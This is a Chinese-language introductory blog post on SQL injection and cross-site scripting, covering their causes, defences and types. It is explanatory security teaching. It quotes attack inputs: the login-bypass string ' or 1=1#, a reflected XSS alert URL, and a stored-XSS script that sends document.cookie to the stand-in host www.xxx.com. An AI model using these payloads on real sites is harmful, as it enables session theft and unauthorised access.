Web安全测试基础

news2024/11/17 7:39:23

SQL注入

当下最常用的一个攻击手段,就是通过SQL命令插入到Web表单中或页面请求查询字符串中,最终达到欺骗服务器执行恶意的SQL语句的目的,SQL注入一旦成功,轻则直接绕开服务器验证,直接登录成功,重则将服务器端数据库中的内容一览无余,更有甚者,直接篡改数据库内容

简单来说,就是改变了原有的sql,让sql执行的结果发生了改变

为什么能实现sql注入?

Web网页可以发生SQL注入的根本原因在于其底层逻辑处理用户输入的方式与数据库交互(在常见的三层或四层架构中,由于数据从视图层传递至业务逻辑层进而到达数据访问层时,缺乏有效的参数化、转义过滤或安全编码实践,导致用户输入未经充分验证即被拼接进动态SQL查询语句并直接执行于数据库服务端)的安全机制存在缺陷。

多层结构的Web应用中,一般都有:

  • 视图层:负责接收用户的输入和展示界面,通常包括HTML表单等交互元素。

  • 业务逻辑层:对来自视图层的请求进行处理,包含数据验证、业务规则判断等操作,本应在此环节对所有不可信的输入数据进行严格的校验和清理。

  • 数据访问层:与数据库直接交互,执行SQL查询或其他数据库操作。如果这一层未能确保所有的SQL命令都是预编译的或者使用参数化的查询方式,就可能因拼接了未经处理的用户输入而引入SQL注入漏洞。

哪些情况可能会导致SQL注入攻击以及如何防止SQL注入?

  • SQL是动态构建的。如果对后台代码稍微熟悉一点,就会发现Web程序在接受到用户的输入后,往往需要根据这些内容去构建SQL语句,再去数据库中执行,如果开发人员采用的是字符串拼接的方式来生成SQL,则很可能实现SQL注入攻击。对于这种情况,防止SQL注入也很简单:

    • 使用参数化查询或预编译语句,用户输入的数据会被当成一个参数传递,而不是直接拼接到SQL中,这样数据就不会成为SQL指令的一部分,一般来说,最开始的SQL是这样 SELECT * FROM users WHERE username = ? AND password = ? 其中【?】是占位符,这样的好处是:

      • 在预编译阶段,含有占位符的SQL语句会被发送到数据库服务器并进行预编译。此时,数据库只知道参数的数量和类型,但并不知道具体的值。

      • 在绑定参数阶段,应用程序将实际的参数值传给数据库,并明确指明每个参数的类型。在这一过程中,数据库驱动程序会对字符串等文本类型的参数进行适当的转义和编码,确保它们不会被误解析为SQL命令的一部分。

      • 在执行阶段,参数值已经被安全地封装起来,即使用户输入的是' or 1=1#这样的恶意内容,它也不会被当作SQL逻辑去执行,而是作为一个单独的数据值传递给SQL查询中的条件表达式

    • 使用成熟的ORM框架,例如Java中的Mybatis或者Hibernate等,就能通过使用面向对象的方式来操作数据库

    • 在前后端都分别进行验证,这并不是防范SQL注入的最好办法,属于“治标不治本”的办法,例如禁止特殊字符的输入、检查输入长度等办法

    • 控制数据库的权限,例如在查询语句中,就不要用增删改查全部权限的数据库用户,但是这种办法也会导致SQL注入来查询到全部数据,也是最佳办法

    • 对错误信息进行一个统一处理,这样在SQL注入的时候,哪怕已经成功注入了,也无法查看到具体的报错信息,可以结合上一个办法一起限制,也不是最佳办法

    • 综上,推荐使用第一个和第二个方法来避免和防止SQL注入

  • 错误的信任模式也会可能导致SQL注入,例如在一些多层框架中,如果底层没有过滤掉可能导致SQL注入的恶意输入,较高层级可能就因为信任等级比较高,导致产生SQL注入,处理办法也比较简单:

    • 对于所有的数据,都可以认为是不安全的,无论来自内外部,都要假设成是攻击的载体

  • 更加实际一点,也就是如下类型的网址可能实现sql注入

    • 【数字型注入点】www.xxx.com/xxx?username=admin

    • 【字符型注入点】www.xxx.com/xxx?id=1

    • 【搜索型注入点】或者是一些post请求,在请求中有模糊搜索

    • 详细如何注入可以查看SQL注入常见方式

SQL注入带来的后果

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。

  • 绕过认证,列如绕过验证登录网站后台。

  • 注入可以借助数据库的存储过程进行提权等操作

SQL注入常见方式

XSS跨站脚本攻击

概念

指的是恶意攻击者往web页面里面插入恶意的HTML和Javascript代码,当用户浏览该页面时,嵌入其中的web里面的HTML代码就会被执行,从而达到恶意攻击用户的特殊目的

基本流程

原理讲解

  • 攻击者构造包含恶意脚本的数据,通过URL参数、表单提交、Cookie或者HTTP头部等方式把恶意数据发送到Web服务器

  • 服务器收到数据,如果没有过多校验,就会进行持久化,当用户访问这个页面的时候,服务器就会把这些恶意数据返回给用户

  • 用户收到了含有恶意脚本的HTML页面,但是没有识别出来,于是正常解析和渲染,就会把恶意脚本当做正常程序,从而获取本地的一些用户信息

  • 为什么能够插入脚本成功,其核心是HTML页面是由标签组成的,如果恶意脚本也是使用这种标签<>的方式构造,就可能误导网站和浏览器认为这是一个正常的标签,恶意脚本就会在浏览器中执行了

危害

  • 攻击者可以通过这样的方式来窃取用户的私密信息,例如登录凭证,Cookie等

  • 攻击者可以篡改网页的内容,都能够在页面中插入脚本了,也可以实现在页面展示虚假信息或者其他广告

  • 攻击者可以在脚本中写入木马程序,实现传播恶意病毒或软件

  • 某些高级的XSS脚本可以实现控制键盘和鼠标,从而实现控制电脑

分类

  • 反射性XSS

    • 攻击方式:攻击者会构造包含恶意脚本的URL,用户点击这个链接,浏览器就执行了恶意脚本

    • 特点:每次攻击都需要用户手动点击这个连续,否则不会触发

  • 存储型XSS

    • 攻击方式:攻击者会把恶意脚本上传到某网站的数据库或其他持久化存储区,成功后,任何查看这个内容的用户都会执行这个恶意攻击

    • 特点:恶意脚本如果没有被发现,攻击者就无需再次介入,用户查看这个网页就会受到影响

举例

反射型XSS

假设这是一个有安全漏洞的网站上的搜索功能

ttp://www.xxx.com/search?q=keyword

攻击者恶意构造的URL就可能是(简单展示)

ttp://www.xxx.com/search?q=<script>alert('XSS');</script>

那么当用户点击了这个链接之后,浏览器就会直接执行alert函数,显示警告框

存储型XSS

假设在一个没有过滤或转移的用户留言板系统中,用户提交了如下内容:

et a= "<script>var img = document.createElement('img'); img.src = 'http://www.xxx.com/xxx?cookie=' + document.cookie; document.body.appendChild(img);</script>";

这是一段简单的JS代码,下面进行简单讲解

  • var img = document.createElement('img') :创建一个<img>标签,可以存储图片

  • img.src = 'http://www.xxx.com/xxx?cookie=' + document.cookie:

    • src 是用来指定图片的URL,在这里指向了 http://www.xxx.com/xxx 并且在后面带上了document.cookie的内容

    • document.cookie是浏览器提供的一个全局对象属性,可以获取当前页面的全部Cookie信息,这样就实现了把用户的Cookie信息拼接到URL里面

  • document.body.appendChild(img):把新创建的图片标签添加到当前文档的body部分,当浏览器去加在这个body的时候,就会导致把用户的cookie发送到http://www.xxx.com/xxx, 造成了信息的泄露

如何防止XSS攻击

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1376480.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Stream流递归查询部门树

Java 递归查询树是很常见的功能&#xff0c;也有很多写法&#xff0c;小编这里记录stream流递归部门树写法&#xff0c;自从小编用上stream流之后&#xff0c;是爱不释手&#xff0c;的确是个不错的好东西&#xff0c;话不多说&#xff0c;直接上代码 第一步&#xff1a;先创建…

用通俗易懂的方式讲解:大模型 RAG 技术,从入门到精通

本文基于IVAN ILIN发布于Towards AI的博客[1]进行总结归纳&#xff0c;感谢原作者的精彩讲解。 检索增强生成&#xff08;Retrieval Augmented Generation&#xff0c;简称RAG&#xff09;为大型语言模型&#xff08;LLMs&#xff09;提供了从某些数据源检索到的信息&#xff0…

RISC-V是如何与X86、ARM三分天下

目录 1.行业CPU指令集格局 2.汽车中的RISC-V进展 2.1 国际进展 2.2 国内进展 3.小结 2023年3月2日&#xff0c;在平头哥牵头举办的玄铁RISC-V生态大会上&#xff0c;工程院院士倪光南表示&#xff0c;基于RISC-V模块化、可扩展、容易定制、不受垄断制约等优势&#xff0c;…

2019年认证杯SPSSPRO杯数学建模C题(第一阶段)保险业的数字化变革全过程文档及程序

2019年认证杯SPSSPRO杯数学建模 基于 CART 决策树和 SVR 的客户续保概率预测 C题 保险业的数字化变革 原题再现&#xff1a; 车险&#xff0c;即机动车辆保险。保险自身是一种分散风险、消化损失的经济补偿制度&#xff0c;车险即为分散机动车辆在行驶过程中可能发作的未知风…

SpringBoot多环境配置Maven Profile组

Maven profile组 注意切换配置时 mvn clean下 或者 clean 加install 或者compile 编译 clean之后 install下 或者compile 编译 nohup java -Xms256m -Xmx512m -Dfile.encodingUTF-8 -jar demo.jar --spring.profiles.activeprod > system.log 2>&1 &

2024年A特种设备相关管理(电梯)证考试题库及A特种设备相关管理(电梯)试题解析

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2024年A特种设备相关管理&#xff08;电梯&#xff09;证考试题库及A特种设备相关管理&#xff08;电梯&#xff09;试题解析是安全生产模拟考试一点通结合&#xff08;安监局&#xff09;特种作业人员操作证考试大纲…

Word不同部分(分节)设置页眉和页码的使用指南——附案例操作

Word页眉和页码分节设置的使用指南 目录 Word页眉和页码分节设置的使用指南摘要1. 插入分节符2. 设置不同的页眉3. 设置不同的页码4. 调整页码的起始值5. 删除或更改分节6. 预览和调整 摘要 在撰写word文档时&#xff0c;我们经常需要在不同的部分应用不同的页眉和页码格式。在…

靶机实战(10):OSCP备考之VulnHub Tre 1

靶机官网&#xff1a;Tre: 1[1] 实战思路&#xff1a; 一、主机发现二、端口发现&#xff08;服务、组件、版本&#xff09;三、漏洞发现&#xff08;获取权限&#xff09; 8082端口/HTTP服务 组件漏洞URL漏洞&#xff08;目录、文件&#xff09;80端口/HTTP服务 组件漏洞URL漏…

基于JAVA+ssm开发的在线报名系统设计与实现【附源码】

基于JAVAssm开发的在线报名系统设计与实现【附源码】 &#x1f345; 作者主页 央顺技术团队 &#x1f345; 欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; &#x1f345; 文末获取源码联系方式 &#x1f4dd; &#x1f345; 查看下方微信号获取联系方式 承接各种定制系统 …

前端页面优化做的工作

1.分析模块占用空间 new (require(webpack-bundle-analyzer).BundleAnalyzerPlugin)() 2.使用谷歌浏览器中的layers&#xff0c;看下有没有影响性能的模块&#xff0c;或者应该销毁没销毁的 3.由于我们页面中含有很大的序列帧动画&#xff0c;所以会导致页面性能低&#xff0…

JavaScript系列——Promise

文章目录 概要Promise三种状态状态改变Promise链式调用Promise处理并发promise.all()promise.allSettled&#xff08;&#xff09;Promise.any()promise.race() 小结 概要 Promise中文翻译过来就是承诺、预示、有可能的意思。 在JavaScript里面&#xff0c;Promise 是一个对象…

九州金榜|为什么本科生“回炉”读职校?

近年来&#xff0c;“本科学历&#xff0b;技能证书”成为不少大学毕业生求职时的配置&#xff0c;本科毕业生“回炉”职业院校学习技能的现象引发社会关注。 为什么会引发这种现象发生呢&#xff1f;现在学校教育学的是理论知识&#xff0c;而“回炉”确实学习的实操&#xff…

Mac robotframework+pycharm运行suite报错情况:ImportError: No module named request

报错实例&#xff1a; 当前Preferences–>Tool–>External Tools Suite配置&#xff0c;显示使用的python为2.7版本&#xff0c;robotframework安装在当前版本的python中&#xff1a; 但是我pycharm现在的环境配置的python为3.11&#xff0c;当前使用的RF与当前使用的py…

钥匙翻转了一个面,该怎么识别匹配?

工业自动化中&#xff0c;我们经常遇到这样的问题&#xff0c;两面一样&#xff0c;上料时&#xff0c;翻转了&#xff0c;没人知道&#xff0c;该怎么匹配到&#xff1f;让机器人能抓取上&#xff1f; 两面相似&#xff0c;翻转了&#xff0c;该怎么识别匹配&#xff0c;来料…

GPT Store开业大吉:一场AI技术与创新的盛宴

就在1.11 日&#xff0c;ChatGPT 正式上线 GPT Store &#xff01; OpenAI CEO 山姆奥特曼第一时间确认了这个消息&#xff1a; 自从GPTs的概念提出以来&#xff0c;短短两个月内&#xff0c;全球用户已经创造了超过300万个GPTs。 点击 GPT Store 或者进入ChatGpt页面&am…

Arrow:在项目中进行时间处理的强大工具

目录 一、Arrow简介 二、安装与配置 三、基础功能与使用 1. 日期和时间格式转换 2. 时区处理 3. 时间序列分析 四、进阶应用与案例分析 五、性能与优化 六、最佳实践与经验分享 七、总结与展望 在处理日期和时间时&#xff0c;我们经常需要一个精确、可靠的库来帮助我…

vue前端开发自学练习,Props数据传递-类型校验,默认值的设置!

vue前端开发自学练习,Props数据传递-类型校验,默认值的设置&#xff01; 实际上&#xff0c;vue开发框架的时候&#xff0c;充分考虑到了前端开发人员可能会遇到的各种各样的情况&#xff0c;比如大家经常遇到的&#xff0c;数据类型的校验&#xff0c;再比如&#xff0c;默认…

多端多用户万能DIY商城系统源码:自营+多商户入驻商城系统 独立部署 带完整的安装代码包以及搭建教程

电子商务行业日新月异&#xff0c;许多企业希望能够通过线上商城拓展业务。但是&#xff0c;传统商城系统往往无法满足多样化、个性化的需求&#xff0c;而且开发周期长、成本高。罗峰就来给大家分享一款多端多用户万能DIY商城系统源码&#xff0c;搭建简单。 以下是部分代码示…

TypeScript进阶(四)声明文件

✨ 专栏介绍 TypeScript是一种由微软开发的开源编程语言&#xff0c;它是JavaScript的超集&#xff0c;意味着任何有效的JavaScript代码都是有效的TypeScript代码。TypeScript通过添加静态类型和其他特性来增强JavaScript&#xff0c;使其更适合大型项目和团队开发。 在TypeS…